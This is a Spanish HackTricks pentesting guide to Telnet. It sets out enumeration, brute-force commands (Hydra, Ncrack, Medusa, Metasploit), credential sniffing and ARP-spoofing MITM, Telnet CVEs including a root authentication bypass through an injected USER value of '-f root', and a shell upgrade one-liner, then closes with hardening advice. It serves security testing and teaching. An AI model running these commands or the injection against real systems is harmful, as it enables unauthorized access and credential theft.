23 - Pentesting Telnet
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Información básica
Telnet es un protocolo de red que ofrece a los usuarios una forma insegura de acceder a un equipo a través de una red.
Puerto por defecto: 23
23/tcp open telnet
Enumeration
Banner Grabbing
nc -vn <IP> 23
Toda la enumeración interesante puede realizarse con nmap:
nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
El script telnet-ntlm-info.nse obtendrá información NTLM (versiones de Windows).
From the telnet RFC: En el protocolo TELNET existen varias opciones que serán autorizadas y pueden usarse con la estructura DO, DON’T, WILL, WON’T para permitir que un cliente y un servidor acuerden usar un conjunto más elaborado (o quizás simplemente diferente) de convenciones para su conexión TELNET. Tales opciones podrían incluir cambiar el conjunto de caracteres, el modo de echo, etc.
Sé que es posible enumerar estas opciones, pero no sé cómo; avísame si sabes cómo.
Enumerar opciones / características de Telnet
Telnet usa negociaciones IAC + DO/DONT/WILL/WONT para habilitar opciones. Puedes observar las opciones soportadas capturando la negociación inicial y sondeando características específicas.
Nmap option/feature probes
# Detect support for the Telnet ENCRYPT option
nmap -p 23 --script telnet-encryption <IP>
# Enumerate Microsoft Telnet NTLM info (NetBIOS/DNS/OS build)
nmap -p 23 --script telnet-ntlm-info <IP>
# Brute-force via NSE (alternative to Hydra/Medusa)
nmap -p 23 --script telnet-brute --script-args userdb=users.txt,passdb=pass.txt <IP>
El script telnet-encryption comprueba si la opción ENCRYPT está soportada; algunas implementaciones manejaron históricamente esta opción incorrectamente y eran vulnerables, pero el script solo verifica el soporte.
telnet-ntlm-info revela metadatos de NTLM (NetBIOS/DNS/OS build) cuando Microsoft Telnet NTLM está habilitado.
telnet-brute es un auditor NSE de brute-force para Telnet.
Brute force
Archivo de configuración
/etc/inetd.conf
/etc/xinetd.d/telnet
/etc/xinetd.d/stelnet
Comandos Automáticos de HackTricks
Protocol_Name: Telnet #Protocol Abbreviation if there is one.
Port_Number: 23 #Comma separated if there is more than one.
Protocol_Description: Telnet #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for t=Telnet
Note: |
wireshark to hear creds being passed
tcp.port == 23 and ip.addr != myip
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html
Entry_2:
Name: Banner Grab
Description: Grab Telnet Banner
Command: nc -vn {IP} 23
Entry_3:
Name: Nmap with scripts
Description: Run nmap scripts for telnet
Command: nmap -n -sV -Pn --script "*telnet*" -p 23 {IP}
Entry_4:
Name: consoleless mfs enumeration
Description: Telnet enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit'
Vulnerabilidades recientes (2022-2026)
- CVE-2024-45698 – D-Link Wi-Fi 6 routers (DIR-X4860): La validación de entrada inadecuada en el servicio Telnet permite a atacantes remotos iniciar sesión usando credenciales hard-coded e inyectar comandos del SO; corregido en el firmware 1.04B05 o posterior.
- CVE-2023-40478 – NETGEAR RAX30: Desbordamiento de buffer basado en la pila en la CLI de Telnet
passwdque permite ejecución de código con privilegios root desde la red; se requiere autenticación pero puede ser eludida. - CVE-2022-39028 – GNU inetutils telnetd: Una secuencia de dos bytes (
0xff 0xf7/0xff 0xf8) puede provocar una desreferencia de puntero NULL entelnetd, y los bloqueos repetidos pueden hacer que inetd deshabilite el servicio (DoS).
Ten en cuenta estos CVEs durante el triage de vulnerabilidades—si el objetivo está ejecutando un firmware sin parchear o un daemon Telnet legacy de inetutils, podrías tener una vía directa para ejecución de código o un DoS disruptivo.
CVE-2026-24061 — Bypass de autenticación en GNU Inetutils telnetd (Crítico)
Resumen: telnetd en GNU Inetutils hasta 2.7 permite un bypass de autenticación remoto mediante un valor de la variable de entorno USER igual a -f root, resultando en acceso root sin autenticación.
Causa raíz: injection de argumentos (CWE-88) porque telnetd reenvía la variable de entorno USER proporcionada por el cliente al comando login sin sanitizar.
Alcance: Las versiones de GNU Inetutils telnetd 1.9.3–2.7 están afectadas (publicado 21 de enero de 2026).
Mitigaciones
- Parchear/actualizar los paquetes afectados de inmediato (p. ej., los fixes de Debian están en
2:2.4-2+deb12u2,2:2.6-3+deb13u1y2:2.7-2). - Deshabilitar Telnet o restringir el acceso a redes de gestión de confianza mientras se parchea.
Captura de credenciales & Man-in-the-Middle
Telnet transmite todo, incluidas las credenciales, en clear-text. Dos formas rápidas de capturarlas:
# Live capture with tcpdump (print ASCII)
sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" " -f1)'
# Wireshark display filter
tcp.port == 23 && (telnet.data || telnet.option)
Para un MITM activo, combina ARP spoofing (p. ej. arpspoof/ettercap) con los mismos sniffing filters para recopilar passwords en switched networks.
Automated Brute-force / Password Spraying
# Hydra (stop at first valid login)
hydra -L users.txt -P rockyou.txt -t 4 -f telnet://<IP>
# Ncrack (drop to interactive session on success)
ncrack -p 23 --user admin -P common-pass.txt --connection-limit 4 <IP>
# Medusa (parallel hosts)
medusa -M telnet -h targets.txt -U users.txt -P passwords.txt -t 6 -f
La mayoría de los botnets IoT (Mirai variants) todavía escanean el puerto 23 con diccionarios pequeños de credenciales por defecto; replicar esa lógica puede identificar rápidamente dispositivos débiles.
Explotación & Post-Explotación
Metasploit tiene varios módulos útiles:
auxiliary/scanner/telnet/telnet_version– enumeración de banner y opciones.auxiliary/scanner/telnet/brute_telnet– fuerza bruta multihilo.auxiliary/scanner/telnet/telnet_encrypt_overflow– RCE contra Telnet vulnerable en Solaris 9/10 (manejo de la opción ENCRYPT).exploit/linux/mips/netgear_telnetenable– habilita el servicio telnet con un paquete crafted en muchos routers NETGEAR.
Después de obtener una shell, recuerda que TTYs are usually dumb; mejórala con python -c 'import pty;pty.spawn("/bin/bash")' o usa el HackTricks TTY tricks.
Endurecimiento & Detección (Blue team corner)
- Prefiere SSH y desactiva el servicio Telnet completamente.
- Si se requiere Telnet, enlázalo solo a VLANs de gestión, aplica ACLs y envuelve el daemon con TCP wrappers (
/etc/hosts.allow). - Sustituye implementaciones legacy de
telnetdporssl-telnetotelnetd-sslpara añadir cifrado de transporte, pero esto solo protege los datos en tránsito—la adivinación de contraseñas sigue siendo trivial. - Monitorea el tráfico saliente hacia el puerto 23; los compromisos a menudo generan reverse shells sobre Telnet para eludir filtros de egress HTTP estrictos.
Referencias
- D-Link Advisory – CVE-2024-45698 Critical Telnet RCE.
- NVD – CVE-2022-39028 inetutils
telnetdDoS. - NVD – CVE-2026-24061.
- Canadian Centre for Cyber Security Alert AL26-002 (CVE-2026-24061).
- Debian Security Tracker – CVE-2026-24061 fixed versions.
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


